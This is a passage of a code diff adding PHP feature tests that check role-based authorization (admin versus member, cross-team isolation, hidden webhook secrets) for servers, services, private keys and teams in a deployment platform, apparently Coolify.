+    Livewire::test(ServiceHeading::class, [
+        'service' => $this->service,
+        'parameters' => $this->serviceParams,
+        'query' => [],
+    ])
+        ->assertSee('Terminal');
+});

tests/Feature/Authorization/SecurityPageAuthorizationTest.php

@@ -0,0 +1,112 @@
+<?php
+
+use App\Livewire\Notifications\Discord as DiscordNotification;
+use App\Livewire\Security\PrivateKey\Index as PrivateKeyIndex;
+use App\Livewire\Team\Member\Index as TeamMemberIndex;
+use App\Models\DiscordNotificationSettings;
+use App\Models\InstanceSettings;
+use App\Models\Team;
+use App\Models\User;
+use Illuminate\Foundation\Testing\RefreshDatabase;
+use Illuminate\Support\Facades\DB;
+use Illuminate\Support\Str;
+use Livewire\Livewire;
+
+uses(RefreshDatabase::class);
+
+beforeEach(function () {
+    InstanceSettings::updateOrCreate(['id' => 0]);
+
+    $this->team = Team::factory()->create();
+
+    $this->admin = User::factory()->create();
+    $this->admin->teams()->attach($this->team, ['role' => 'admin']);
+
+    $this->member = User::factory()->create();
+    $this->member->teams()->attach($this->team, ['role' => 'member']);
+
+    // Create a private key for the team (bypass model validation via DB insert)
+    DB::table('private_keys')->insert([
+        'uuid' => (string) Str::uuid(),
+        'name' => 'Team SSH Key',
+        'description' => 'Key for testing',
+        'private_key' => 'test-key-content',
+        'team_id' => $this->team->id,
+        'created_at' => now(),
+        'updated_at' => now(),
+    ]);
+});
+
+// --- Private Key Index ---
+
+test('admin sees add and cleanup buttons on private key page', function () {
+    $this->actingAs($this->admin);
+    session(['currentTeam' => $this->team]);
+
+    Livewire::test(PrivateKeyIndex::class)
+        ->assertSee('+ Add')
+        ->assertSee('Delete unused SSH Keys');
+});
+
+test('member does not see add or cleanup buttons on private key page', function () {
+    $this->actingAs($this->member);
+    session(['currentTeam' => $this->team]);
+
+    Livewire::test(PrivateKeyIndex::class)
+        ->assertDontSee('+ Add')
+        ->assertDontSee('Delete unused SSH Keys');
+});
+
+test('member can view private key names on index page', function () {
+    $this->actingAs($this->member);
+    session(['currentTeam' => $this->team]);
+
+    // Member can see key names (view is allowed for same-team members)
+    // but cannot see create/delete buttons (tested separately above)
+    Livewire::test(PrivateKeyIndex::class)
+        ->assertSee('Team SSH Key');
+});
+
+test('member cannot call cleanup unused keys', function () {
+    $this->actingAs($this->member);
+    session(['currentTeam' => $this->team]);
+
+    Livewire::test(PrivateKeyIndex::class)
+        ->call('cleanupUnusedKeys')
+        ->assertDispatched('error');
+});
+
+// --- Team Member Index (Invitations) ---
+
+test('admin sees invite section on team members page', function () {
+    $this->actingAs($this->admin);
+    session(['currentTeam' => $this->team]);
+
+    Livewire::test(TeamMemberIndex::class)
+        ->assertSee('Invite New Member');
+});
+
+test('member does not see invite section on team members page', function () {
+    $this->actingAs($this->member);
+    session(['currentTeam' => $this->team]);
+
+    Livewire::test(TeamMemberIndex::class)
+        ->assertDontSee('Invite New Member');
+});
+
+// --- Notification Settings (Discord as representative) ---
+
+test('member cannot send test notification on discord', function () {
+    $this->actingAs($this->member);
+    session(['currentTeam' => $this->team]);
+
+    $settings = DiscordNotificationSettings::where('team_id', $this->team->id)->first();
+    $settings->update([
+        'discord_enabled' => true,
+        'discord_webhook_url' => 'https://discord.com/api/webhooks/test',
+    ]);
+
+    Livewire::test(DiscordNotification::class)
+        ->call('sendTestNotification')
+        ->assertDispatched('error');
+});

tests/Feature/Authorization/ServerAuthorizationTest.php

@@ -0,0 +1,263 @@
+<?php
+
+use App\Http\Middleware\PreventRequestsDuringMaintenance;
+use App\Livewire\Server\Navbar as ServerNavbar;
+use App\Models\InstanceSettings;
+use App\Models\Server;
+use App\Models\Team;
+use App\Models\User;
+use Illuminate\Foundation\Testing\RefreshDatabase;
+use Illuminate\Support\Facades\DB;
+use Illuminate\Support\Str;
+use Livewire\Livewire;
+
+uses(RefreshDatabase::class);
+
+beforeEach(function () {
+    $this->withoutMiddleware(PreventRequestsDuringMaintenance::class);
+
+    InstanceSettings::unguarded(fn () => InstanceSettings::updateOrCreate(['id' => 0], ['id' => 0]));
+
+    $this->team = Team::factory()->create();
+
+    $this->admin = User::factory()->create();
+    $this->admin->teams()->attach($this->team, ['role' => 'admin']);
+
+    $this->member = User::factory()->create();
+    $this->member->teams()->attach($this->team, ['role' => 'member']);
+
+    $keyId = DB::table('private_keys')->insertGetId([
+        'uuid' => (string) Str::uuid(),
+        'name' => 'Test Key',
+        'private_key' => 'test-key',
+        'team_id' => $this->team->id,
+        'created_at' => now(),
+        'updated_at' => now(),
+    ]);
+
+    $this->server = Server::factory()->create([
+        'team_id' => $this->team->id,
+        'private_key_id' => $keyId,
+    ]);
+
+    $this->server->settings()->update([
+        'is_reachable' => true,
+        'is_usable' => true,
+    ]);
+});
+
+// --- Server Policy: update ---
+
+test('admin can update server', function () {
+    expect($this->admin->can('update', $this->server))->toBeTrue();
+});
+
+test('member cannot update server', function () {
+    expect($this->member->can('update', $this->server))->toBeFalse();
+});
+
+// --- Server Policy: delete ---
+
+test('admin can delete server', function () {
+    expect($this->admin->can('delete', $this->server))->toBeTrue();
+});
+
+test('member cannot delete server', function () {
+    expect($this->member->can('delete', $this->server))->toBeFalse();
+});
+
+// --- Server Policy: view ---
+
+test('admin can view server', function () {
+    expect($this->admin->can('view', $this->server))->toBeTrue();
+});
+
+test('member can view server', function () {
+    expect($this->member->can('view', $this->server))->toBeTrue();
+});
+
+// --- Server Policy: manageProxy ---
+
+test('admin can manage proxy', function () {
+    expect($this->admin->can('manageProxy', $this->server))->toBeTrue();
+});
+
+test('member cannot manage proxy', function () {
+    expect($this->member->can('manageProxy', $this->server))->toBeFalse();
+});
+
+// --- Server Policy: manageSentinel ---
+
+test('admin can manage sentinel', function () {
+    expect($this->admin->can('manageSentinel', $this->server))->toBeTrue();
+});
+
+test('member cannot manage sentinel', function () {
+    expect($this->member->can('manageSentinel', $this->server))->toBeFalse();
+});
+
+// --- Server Policy: manageCaCertificate ---
+
+test('admin can manage CA certificate', function () {
+    expect($this->admin->can('manageCaCertificate', $this->server))->toBeTrue();
+});
+
+test('member cannot manage CA certificate', function () {
+    expect($this->member->can('manageCaCertificate', $this->server))->toBeFalse();
+});
+
+// --- Server Policy: viewSecurity ---
+
+test('admin can view security', function () {
+    expect($this->admin->can('viewSecurity', $this->server))->toBeTrue();
+});
+
+test('member cannot view security', function () {
+    expect($this->member->can('viewSecurity', $this->server))->toBeFalse();
+});
+
+// --- Server Policy: create ---
+
+test('admin can create server', function () {
+    $this->actingAs($this->admin);
+    session(['currentTeam' => $this->team]);
+
+    expect(auth()->user()->can('create', Server::class))->toBeTrue();
+});
+
+test('member cannot create server', function () {
+    $this->actingAs($this->member);
+    session(['currentTeam' => $this->team]);
+
+    expect(auth()->user()->can('create', Server::class))->toBeFalse();
+});
+
+// --- Cross-team isolation ---
+
+test('user from different team cannot view server', function () {
+    $otherTeam = Team::factory()->create();
+    $otherUser = User::factory()->create();
+    $otherUser->teams()->attach($otherTeam, ['role' => 'admin']);
+
+    expect($otherUser->can('view', $this->server))->toBeFalse();
+});
+
+test('user from different team cannot update server', function () {
+    $otherTeam = Team::factory()->create();
+    $otherUser = User::factory()->create();
+    $otherUser->teams()->attach($otherTeam, ['role' => 'admin']);
+
+    expect($otherUser->can('update', $this->server))->toBeFalse();
+});
+
+// --- Navbar Livewire component actions ---
+
+test('member cannot restart proxy via navbar', function () {
+    $this->actingAs($this->member);
+    session(['currentTeam' => $this->team]);
+
+    Livewire::test(ServerNavbar::class, ['server' => $this->server])
+        ->call('restart')
+        ->assertDispatched('error');
+});
+
+test('member cannot check proxy via navbar', function () {
+    $this->actingAs($this->member);
+    session(['currentTeam' => $this->team]);
+
+    Livewire::test(ServerNavbar::class, ['server' => $this->server])
+        ->call('checkProxy')
+        ->assertDispatched('error');
+});
+
+test('member cannot start proxy via navbar', function () {
+    $this->actingAs($this->member);
+    session(['currentTeam' => $this->team]);
+
+    Livewire::test(ServerNavbar::class, ['server' => $this->server])
+        ->call('startProxy')
+        ->assertDispatched('error');
+});
+
+test('member cannot stop proxy via navbar', function () {
+    $this->actingAs($this->member);
+    session(['currentTeam' => $this->team]);
+
+    Livewire::test(ServerNavbar::class, ['server' => $this->server])
+        ->call('stop')
+        ->assertDispatched('error');
+});
+
+// --- Terminal access gate ---
+
+test('admin can access terminal', function () {
+    $this->actingAs($this->admin);
+    session(['currentTeam' => $this->team]);
+
+    expect(auth()->user()->can('canAccessTerminal'))->toBeTrue();
+});
+
+test('member cannot access terminal', function () {
+    $this->actingAs($this->member);
+    session(['currentTeam' => $this->team]);
+
+    expect(auth()->user()->can('canAccessTerminal'))->toBeFalse();
+});
+
+// --- Server page access ---
+
+test('admin can access server page', function () {
+    $this->actingAs($this->admin);
+    session(['currentTeam' => $this->team]);
+
+    $this->get("/server/{$this->server->uuid}")->assertSuccessful();
+});
+
+test('member can access server page', function () {
+    $this->actingAs($this->member);
+    session(['currentTeam' => $this->team]);
+
+    $this->get("/server/{$this->server->uuid}")->assertSuccessful();
+});
+
+test('admin can access sentinel configuration and logs pages', function () {
+    $this->actingAs($this->admin);
+    session(['currentTeam' => $this->team]);
+
+    $this->get(route('server.sentinel', ['server_uuid' => $this->server->uuid]))
+        ->assertSuccessful();
+
+    $this->get(route('server.sentinel.logs', ['server_uuid' => $this->server->uuid]))
+        ->assertSuccessful();
+});
+
+test('member cannot access sentinel configuration and logs pages', function () {
+    $this->actingAs($this->member);
+    session(['currentTeam' => $this->team]);
+
+    $this->get(route('server.sentinel', ['server_uuid' => $this->server->uuid]))
+        ->assertForbidden();
+
+    $this->get(route('server.sentinel.logs', ['server_uuid' => $this->server->uuid]))
+        ->assertForbidden();
+});
+
+test('sentinel navigation is only visible to team admins', function () {
+    $this->actingAs($this->member);
+    session(['currentTeam' => $this->team]);
+
+    $this->get("/server/{$this->server->uuid}")
+        ->assertSuccessful()
+        ->assertDontSee(route('server.sentinel', ['server_uuid' => $this->server->uuid]));
+
+    $this->actingAs($this->admin);
+    session(['currentTeam' => $this->team]);
+
+    $this->get("/server/{$this->server->uuid}")
+        ->assertSuccessful()
+        ->assertSee(route('server.sentinel', ['server_uuid' => $this->server->uuid]));
+});
+
+test('unauthenticated user cannot access server page', function () {
+    $this->get("/server/{$this->server->uuid}")->assertRedirect('/login');
+});

tests/Feature/Authorization/ServiceConfigAuthorizationTest.php

@@ -0,0 +1,242 @@
+<?php
+
+use App\Livewire\Project\Service\Heading as ServiceHeading;
+use App\Models\InstanceSettings;
+use App\Models\Project;
+use App\Models\Server;
+use App\Models\Service;
+use App\Models\StandaloneDocker;
+use App\Models\Team;
+use App\Models\User;
+use Illuminate\Foundation\Testing\RefreshDatabase;
+use Illuminate\Support\Facades\DB;
+use Illuminate\Support\Str;
+use Livewire\Livewire;
+
+uses(RefreshDatabase::class);
+
+beforeEach(function () {
+    InstanceSettings::updateOrCreate(['id' => 0]);
+
+    $this->team = Team::factory()->create();
+
+    $this->admin = User::factory()->create();
+    $this->admin->teams()->attach($this->team, ['role' => 'admin']);
+
+    $this->member = User::factory()->create();
+    $this->member->teams()->attach($this->team, ['role' => 'member']);
+
+    $keyId = DB::table('private_keys')->insertGetId([
+        'uuid' => (string) Str::uuid(),
+        'name' => 'Test Key',
+        'private_key' => 'test-key',
+        'team_id' => $this->team->id,
+        'created_at' => now(),
+        'updated_at' => now(),
+    ]);
+
+    $this->server = Server::factory()->create([
+        'team_id' => $this->team->id,
+        'private_key_id' => $keyId,
+    ]);
+
+    StandaloneDocker::withoutEvents(function () {
+        $this->destination = StandaloneDocker::firstOrCreate(
+            ['server_id' => $this->server->id, 'network' => 'coolify'],
+            ['uuid' => (string) Str::uuid(), 'name' => 'test-docker']
+        );
+    });
+
+    $this->project = Project::create([
+        'uuid' => (string) Str::uuid(),
+        'name' => 'Test Project',
+        'team_id' => $this->team->id,
+    ]);
+
+    $this->environment = $this->project->environments()->first();
+
+    $this->service = Service::create([
+        'uuid' => (string) Str::uuid(),
+        'name' => 'Test Service',
+        'environment_id' => $this->environment->id,
+        'destination_id' => $this->destination->id,
+        'destination_type' => $this->destination->getMorphClass(),
+        'docker_compose_raw' => 'version: "3"',
+    ]);
+
+    $this->serviceParams = [
+        'project_uuid' => $this->project->uuid,
+        'environment_uuid' => $this->environment->uuid,
+        'service_uuid' => $this->service->uuid,
+    ];
+});
+
+// --- Service Policy: view ---
+
+test('admin can view service', function () {
+    expect($this->admin->can('view', $this->service))->toBeTrue();
+});
+
+test('member can view service', function () {
+    expect($this->member->can('view', $this->service))->toBeTrue();
+});
+
+// --- Service Policy: update ---
+
+test('admin can update service', function () {
+    expect($this->admin->can('update', $this->service))->toBeTrue();
+});
+
+test('member cannot update service', function () {
+    expect($this->member->can('update', $this->service))->toBeFalse();
+});
+
+// --- Service Policy: delete ---
+
+test('admin can delete service', function () {
+    expect($this->admin->can('delete', $this->service))->toBeTrue();
+});
+
+test('member cannot delete service', function () {
+    expect($this->member->can('delete', $this->service))->toBeFalse();
+});
+
+// --- Service Policy: deploy ---
+
+test('admin can deploy service', function () {
+    expect($this->admin->can('deploy', $this->service))->toBeTrue();
+});
+
+test('member cannot deploy service', function () {
+    expect($this->member->can('deploy', $this->service))->toBeFalse();
+});
+
+// --- Service Policy: stop ---
+
+test('admin can stop service', function () {
+    expect($this->admin->can('stop', $this->service))->toBeTrue();
+});
+
+test('member cannot stop service', function () {
+    expect($this->member->can('stop', $this->service))->toBeFalse();
+});
+
+// --- Service Policy: manageEnvironment ---
+
+test('admin can manage service environment variables', function () {
+    expect($this->admin->can('manageEnvironment', $this->service))->toBeTrue();
+});
+
+test('member cannot manage service environment variables', function () {
+    expect($this->member->can('manageEnvironment', $this->service))->toBeFalse();
+});
+
+// --- Service Heading Livewire actions ---
+
+test('member cannot call start on service heading', function () {
+    $this->actingAs($this->member);
+    session(['currentTeam' => $this->team]);
+
+    Livewire::test(ServiceHeading::class, [
+        'service' => $this->service,
+        'parameters' => $this->serviceParams,
+        'query' => [],
+    ])
+        ->call('start')
+        ->assertDispatched('error');
+});
+
+test('member cannot call stop on service heading', function () {
+    $this->actingAs($this->member);
+    session(['currentTeam' => $this->team]);
+
+    Livewire::test(ServiceHeading::class, [
+        'service' => $this->service,
+        'parameters' => $this->serviceParams,
+        'query' => [],
+    ])
+        ->call('stop')
+        ->assertDispatched('error');
+});
+
+test('member cannot call restart on service heading', function () {
+    $this->actingAs($this->member);
+    session(['currentTeam' => $this->team]);
+
+    Livewire::test(ServiceHeading::class, [
+        'service' => $this->service,
+        'parameters' => $this->serviceParams,
+        'query' => [],
+    ])
+        ->call('restart')
+        ->assertDispatched('error');
+});
+
+test('member cannot call force deploy on service heading', function () {
+    $this->actingAs($this->member);
+    session(['currentTeam' => $this->team]);
+
+    Livewire::test(ServiceHeading::class, [
+        'service' => $this->service,
+        'parameters' => $this->serviceParams,
+        'query' => [],
+    ])
+        ->call('forceDeploy')
+        ->assertDispatched('error');
+});
+
+// --- Service Heading visibility ---
+
+test('member does not see terminal link for service', function () {
+    $this->actingAs($this->member);
+    session(['currentTeam' => $this->team]);
+
+    Livewire::test(ServiceHeading::class, [
+        'service' => $this->service,
+        'parameters' => $this->serviceParams,
+        'query' => [],
+    ])
+        ->assertDontSee('Terminal');
+});
+
+test('admin sees terminal link for service', function () {
+    $this->actingAs($this->admin);
+    session(['currentTeam' => $this->team]);
+
+    Livewire::test(ServiceHeading::class, [
+        'service' => $this->service,
+        'parameters' => $this->serviceParams,
+        'query' => [],
+    ])
+        ->assertSee('Terminal');
+});
+
+test('admin sees deploy button for service', function () {
+    $this->actingAs($this->admin);
+    session(['currentTeam' => $this->team]);
+
+    Livewire::test(ServiceHeading::class, [
+        'service' => $this->service,
+        'parameters' => $this->serviceParams,
+        'query' => [],
+    ])
+        ->assertSee('Deploy');
+});
+
+// --- Cross-team isolation ---
+
+test('user from different team cannot view service', function () {
+    $otherTeam = Team::factory()->create();
+    $otherUser = User::factory()->create();
+    $otherUser->teams()->attach($otherTeam, ['role' => 'admin']);
+
+    expect($otherUser->can('view', $this->service))->toBeFalse();
+});
+
+test('user from different team cannot update service', function () {
+    $otherTeam = Team::factory()->create();
+    $otherUser = User::factory()->create();
+    $otherUser->teams()->attach($otherTeam, ['role' => 'admin']);
+
+    expect($otherUser->can('update', $this->service))->toBeFalse();
+});

tests/Feature/Authorization/SharedResourceAuthorizationTest.php

@@ -0,0 +1,301 @@
+<?php
+
+use App\Livewire\Project\Shared\Danger;
+use App\Livewire\Project\Shared\Tags;
+use App\Livewire\Project\Shared\Webhooks;
+use App\Models\Application;
+use App\Models\InstanceSettings;
+use App\Models\Project;
+use App\Models\Server;
+use App\Models\Service;
+use App\Models\StandaloneDocker;
+use App\Models\StandalonePostgresql;
+use App\Models\Team;
+use App\Models\User;
+use Illuminate\Foundation\Testing\RefreshDatabase;
+use Illuminate\Support\Facades\DB;
+use Illuminate\Support\Str;
+use Livewire\Livewire;
+
+uses(RefreshDatabase::class);
+
+beforeEach(function () {
+    InstanceSettings::unguarded(fn () => InstanceSettings::updateOrCreate(['id' => 0], ['id' => 0]));
+
+    $this->team = Team::factory()->create();
+
+    $this->admin = User::factory()->create();
+    $this->admin->teams()->attach($this->team, ['role' => 'admin']);
+
+    $this->member = User::factory()->create();
+    $this->member->teams()->attach($this->team, ['role' => 'member']);
+
+    $keyId = DB::table('private_keys')->insertGetId([
+        'uuid' => (string) Str::uuid(),
+        'name' => 'Test Key',
+        'private_key' => 'test-key',
+        'team_id' => $this->team->id,
+        'created_at' => now(),
+        'updated_at' => now(),
+    ]);
+
+    $this->server = Server::factory()->create([
+        'team_id' => $this->team->id,
+        'private_key_id' => $keyId,
+    ]);
+
+    StandaloneDocker::withoutEvents(function () {
+        $this->destination = StandaloneDocker::firstOrCreate(
+            ['server_id' => $this->server->id, 'network' => 'coolify'],
+            ['uuid' => (string) Str::uuid(), 'name' => 'test-docker']
+        );
+    });
+
+    $this->project = Project::create([
+        'uuid' => (string) Str::uuid(),
+        'name' => 'Test Project',
+        'team_id' => $this->team->id,
+    ]);
+
+    $this->environment = $this->project->environments()->first();
+
+    $this->application = Application::factory()->create([
+        'uuid' => (string) Str::uuid(),
+        'name' => 'Test App',
+        'environment_id' => $this->environment->id,
+        'destination_id' => $this->destination->id,
+        'destination_type' => $this->destination->getMorphClass(),
+        'status' => 'running',
+    ]);
+
+    $this->database = StandalonePostgresql::create([
+        'uuid' => (string) Str::uuid(),
+        'name' => 'Test DB',
+        'postgres_user' => 'postgres',
+        'postgres_password' => 'password',
+        'postgres_db' => 'testdb',
+        'image' => 'postgres:15',
+        'status' => 'running',
+        'environment_id' => $this->environment->id,
+        'destination_id' => $this->destination->id,
+        'destination_type' => $this->destination->getMorphClass(),
+    ]);
+
+    $this->service = Service::create([
+        'uuid' => (string) Str::uuid(),
+        'name' => 'Test Service',
+        'environment_id' => $this->environment->id,
+        'destination_id' => $this->destination->id,
+        'destination_type' => $this->destination->getMorphClass(),
+        'docker_compose_raw' => 'version: "3"',
+    ]);
+});
+
+// --- Danger Zone: Application ---
+
+test('admin can delete application', function () {
+    expect($this->admin->can('delete', $this->application))->toBeTrue();
+});
+
+test('member cannot delete application via danger zone', function () {
+    $this->actingAs($this->member);
+    session(['currentTeam' => $this->team]);
+
+    Livewire::test(Danger::class, ['resource' => $this->application])
+        ->call('delete', 'password')
+        ->assertDispatched('error');
+});
+
+// --- Danger Zone: Database ---
+
+test('admin can delete database', function () {
+    expect($this->admin->can('delete', $this->database))->toBeTrue();
+});
+
+test('member cannot delete database via danger zone', function () {
+    $this->actingAs($this->member);
+    session(['currentTeam' => $this->team]);
+
+    Livewire::test(Danger::class, ['resource' => $this->database])
+        ->call('delete', 'password')
+        ->assertDispatched('error');
+});
+
+// --- Danger Zone: Service ---
+
+test('admin can delete service', function () {
+    expect($this->admin->can('delete', $this->service))->toBeTrue();
+});
+
+test('member cannot delete service via danger zone', function () {
+    $this->actingAs($this->member);
+    session(['currentTeam' => $this->team]);
+
+    Livewire::test(Danger::class, ['resource' => $this->service])
+        ->call('delete', 'password')
+        ->assertDispatched('error');
+});
+
+// --- Tags: Application ---
+
+test('member cannot add tag to application', function () {
+    $this->actingAs($this->member);
+    session(['currentTeam' => $this->team]);
+
+    Livewire::test(Tags::class, ['resource' => $this->application])
+        ->set('newTags', 'test-tag')
+        ->call('submit')
+        ->assertDispatched('error');
+});
+
+test('admin can add tag to application', function () {
+    expect($this->admin->can('update', $this->application))->toBeTrue();
+});
+
+// --- Webhooks: Application ---
+
+test('member cannot update application webhooks', function () {
+    $this->actingAs($this->member);
+    session(['currentTeam' => $this->team]);
+
+    Livewire::test(Webhooks::class, ['resource' => $this->application])
+        ->call('submit')
+        ->assertDispatched('error');
+});
+
+test('admin can update application webhooks', function () {
+    expect($this->admin->can('update', $this->application))->toBeTrue();
+});
+
+test('member cannot view application webhook secrets', function () {
+    $this->application->update([
+        'git_repository' => 'coollabsio/coolify',
+        'git_branch' => 'main',
+        'manual_webhook_secret_github' => 'github-secret-value',
+        'manual_webhook_secret_gitlab' => 'gitlab-secret-value',
+        'manual_webhook_secret_bitbucket' => 'bitbucket-secret-value',
+        'manual_webhook_secret_gitea' => 'gitea-secret-value',
+    ]);
+
+    $this->actingAs($this->member);
+    session(['currentTeam' => $this->team]);
+
+    Livewire::test(Webhooks::class, ['resource' => $this->application->fresh()])
+        ->assertSet('githubManualWebhookSecret', null)
+        ->assertSet('gitlabManualWebhookSecret', null)
+        ->assertSet('bitbucketManualWebhookSecret', null)
+        ->assertSet('giteaManualWebhookSecret', null)
+        ->assertSee('Hidden (only admins can view)')
+        ->assertDontSee('github-secret-value')
+        ->assertDontSee('gitlab-secret-value')
+        ->assertDontSee('bitbucket-secret-value')
+        ->assertDontSee('gitea-secret-value');
+});
+
+test('admin can view application webhook secrets', function () {
+    $this->application->update([
+        'git_repository' => 'coollabsio/coolify',
+        'git_branch' => 'main',
+        'manual_webhook_secret_github' => 'github-secret-value',
+        'manual_webhook_secret_gitlab' => 'gitlab-secret-value',
+        'manual_webhook_secret_bitbucket' => 'bitbucket-secret-value',
+        'manual_webhook_secret_gitea' => 'gitea-secret-value',
+    ]);
+
+    $this->actingAs($this->admin);
+    session(['currentTeam' => $this->team]);
+
+    Livewire::test(Webhooks::class, ['resource' => $this->application->fresh()])
+        ->assertSet('githubManualWebhookSecret', 'github-secret-value')
+        ->assertSet('gitlabManualWebhookSecret', 'gitlab-secret-value')
+        ->assertSet('bitbucketManualWebhookSecret', 'bitbucket-secret-value')
+        ->assertSet('giteaManualWebhookSecret', 'gitea-secret-value');
+});
+
+// --- Resource Limits (policy checks, mount requires full resource data) ---
+
+test('member cannot update application resource limits', function () {
+    expect($this->member->can('update', $this->application))->toBeFalse();
+});
+
+test('admin can update application resource limits', function () {
+    expect($this->admin->can('update', $this->application))->toBeTrue();
+});
+
+test('member cannot update database resource limits', function () {
+    expect($this->member->can('update', $this->database))->toBeFalse();
+});
+
+test('member cannot update service resource limits', function () {
+    expect($this->member->can('update', $this->service))->toBeFalse();
+});
+
+// --- Environment Variables (Policy checks) ---
+
+test('admin can manage application environment variables', function () {
+    expect($this->admin->can('manageEnvironment', $this->application))->toBeTrue();
+});
+
+test('member cannot manage application environment variables', function () {
+    expect($this->member->can('manageEnvironment', $this->application))->toBeFalse();
+});
+
+test('admin can manage database environment variables', function () {
+    expect($this->admin->can('manageEnvironment', $this->database))->toBeTrue();
+});
+
+test('member cannot manage database environment variables', function () {
+    expect($this->member->can('manageEnvironment', $this->database))->toBeFalse();
+});
+
+test('admin can manage service environment variables', function () {
+    expect($this->admin->can('manageEnvironment', $this->service))->toBeTrue();
+});
+
+test('member cannot manage service environment variables', function () {
+    expect($this->member->can('manageEnvironment', $this->service))->toBeFalse();
+});
+
+// --- Project Policy ---
+
+test('admin can update project', function () {
+    expect($this->admin->can('update', $this->project))->toBeTrue();
+});
+
+test('member cannot update project', function () {
+    expect($this->member->can('update', $this->project))->toBeFalse();
+});
+
+test('admin can delete project', function () {
+    expect($this->admin->can('delete', $this->project))->toBeTrue();
+});
+
+test('member cannot delete project', function () {
+    expect($this->member->can('delete', $this->project))->toBeFalse();
+});
+
+// --- Environment Policy ---
+
+test('admin can delete environment', function () {
+    expect($this->admin->can('delete', $this->environment))->toBeTrue();
+});
+
+test('member cannot delete environment', function () {
+    expect($this->member->can('delete', $this->environment))->toBeFalse();
+});
+
+// --- Team Policy ---
+
+test('admin can update team', function () {
+    $this->actingAs($this->admin);
+    session(['currentTeam' => $this->team]);
+
+    expect(auth()->user()->can('update', $this->team))->toBeTrue();
+});
+
+test('member cannot update team', function () {
+    $this->actingAs($this->member);
+    session(['currentTeam' => $this->team]);
+
+    expect(auth()->user()->can('update', $this->team))->toBeFalse();
+});

tests/Feature/Authorization/TeamAuthorizationTest.php

@@ -0,0 +1,339 @@
+<?php
+
+use App\Livewire\Team\Index as TeamIndex;
+use App\Livewire\Team\Member as TeamMember;
+use App\Models\InstanceSettings;
+use App\Models\Team;
+use App\Models\User;
+use Illuminate\Foundation\Testing\RefreshDatabase;
+use Livewire\Livewire;
+
+uses(RefreshDatabase::class);
+
+beforeEach(function () {
+    InstanceSettings::updateOrCreate(['id' => 0]);
+
+    $this->team = Team::factory()->create(['personal_team' => false]);
+
+    $this->owner = User::factory()->create();
+    $this->owner->teams()->attach($this->team, ['role' => 'owner']);
+
+    $this->admin = User::factory()->create();
+    $this->admin->teams()->attach($this->team, ['role' => 'admin']);
+
+    $this->member = User::factory()->create();
+    $this->member->teams()->attach($this->team, ['role' => 'member']);
+});
+
+// --- Team Policy: update ---
+
+test('owner can update team', function () {
+    $this->actingAs($this->owner);
+    session(['currentTeam' => $this->team]);
+
+    expect(auth()->user()->can('update', $this->team))->toBeTrue();
+});
+
+test('admin can update team', function () {
+    $this->actingAs($this->admin);
+    session(['currentTeam' => $this->team]);
+
+    expect(auth()->user()->can('update', $this->team))->toBeTrue();
+});
+
+test('member cannot update team', function () {
+    $this->actingAs($this->member);
+    session(['currentTeam' => $this->team]);
+
+    expect(auth()->user()->can('update', $this->team))->toBeFalse();
+});
+
+// --- Team Policy: delete ---
+
+test('owner can delete team', function () {
+    $this->actingAs($this->owner);
+    session(['currentTeam' => $this->team]);
+
+    expect(auth()->user()->can('delete', $this->team))->toBeTrue();
+});
+
+test('admin can delete team', function () {
+    $this->actingAs($this->admin);
+    session(['currentTeam' => $this->team]);
+
+    expect(auth()->user()->can('delete', $this->team))->toBeTrue();
+});
+
+test('member cannot delete team', function () {
+    $this->actingAs($this->member);
+    session(['currentTeam' => $this->team]);
+
+    expect(auth()->user()->can('delete', $this->team))->toBeFalse();
+});
+
+// --- Team Policy: manageMembers ---
+
+test('owner can manage team members', function () {
+    $this->actingAs($this->owner);
+    session(['currentTeam' => $this->team]);
+
+    expect(auth()->user()->can('manageMembers', $this->team))->toBeTrue();
+});
+
+test('admin can manage team members', function () {
+    $this->actingAs($this->admin);
+    session(['currentTeam' => $this->team]);
+
+    expect(auth()->user()->can('manageMembers', $this->team))->toBeTrue();
+});
+
+test('member cannot manage team members', function () {
+    $this->actingAs($this->member);
+    session(['currentTeam' => $this->team]);
+
+    expect(auth()->user()->can('manageMembers', $this->team))->toBeFalse();
+});
+
+// --- Team Policy: manageInvitations ---
+
+test('owner can manage invitations', function () {
+    $this->actingAs($this->owner);
+    session(['currentTeam' => $this->team]);
+
+    expect(auth()->user()->can('manageInvitations', $this->team))->toBeTrue();
+});
+
+test('admin can manage invitations', function () {
+    $this->actingAs($this->admin);
+    session(['currentTeam' => $this->team]);
+
+    expect(auth()->user()->can('manageInvitations', $this->team))->toBeTrue();
+});
+
+test('member cannot manage invitations', function () {
+    $this->actingAs($this->member);
+    session(['currentTeam' => $this->team]);
+
+    expect(auth()->user()->can('manageInvitations', $this->team))->toBeFalse();
+});
+
+// --- Team Index Livewire: update ---
+
+test('member cannot submit team settings via policy', function () {
+    $this->actingAs($this->member);
+    session(['currentTeam' => $this->team]);
+
+    expect(auth()->user()->can('update', $this->team))->toBeFalse();
+});
+
+test('owner can update team MCP setting', function () {
+    $this->actingAs($this->owner);
+    session(['currentTeam' => $this->team]);
+
+    Livewire::test(TeamIndex::class)
+        ->set('is_mcp_server_enabled', false)
+        ->call('submit')
+        ->assertDispatched('success');
+
+    expect($this->team->fresh()->is_mcp_server_enabled)->toBeFalse();
+});
+
+// --- Team Index Livewire: delete ---
+
+test('member cannot delete team via index', function () {
+    $this->actingAs($this->member);
+    session(['currentTeam' => $this->team]);
+
+    Livewire::test(TeamIndex::class)
+        ->call('delete', 'password')
+        ->assertDispatched('error');
+
+    expect(Team::find($this->team->id))->not->toBeNull();
+});
+
+test('admin can delete team via policy', function () {
+    $this->actingAs($this->admin);
+    session(['currentTeam' => $this->team]);
+
+    expect(auth()->user()->can('delete', $this->team))->toBeTrue();
+});
+
+// --- Team Member Livewire: role changes ---
+
+test('member cannot change roles via team member component', function () {
+    $this->actingAs($this->member);
+    session(['currentTeam' => $this->team]);
+
+    Livewire::test(TeamMember::class, ['member' => $this->admin])
+        ->call('makeAdmin')
+        ->assertDispatched('error');
+});
+
+test('member cannot remove team members', function () {
+    $this->actingAs($this->member);
+    session(['currentTeam' => $this->team]);
+
+    Livewire::test(TeamMember::class, ['member' => $this->admin])
+        ->call('remove')
+        ->assertDispatched('error');
+});
+
+// --- Invitations & Invite Link (policy checks — views wrapped in @can render empty for members) ---
+
+test('member cannot manage invitations via policy', function () {
+    $this->actingAs($this->member);
+    session(['currentTeam' => $this->team]);
+
+    expect(auth()->user()->can('manageInvitations', $this->team))->toBeFalse();
+});
+
+test('owner can manage invitations via policy', function () {
+    $this->actingAs($this->owner);
+    session(['currentTeam' => $this->team]);
+
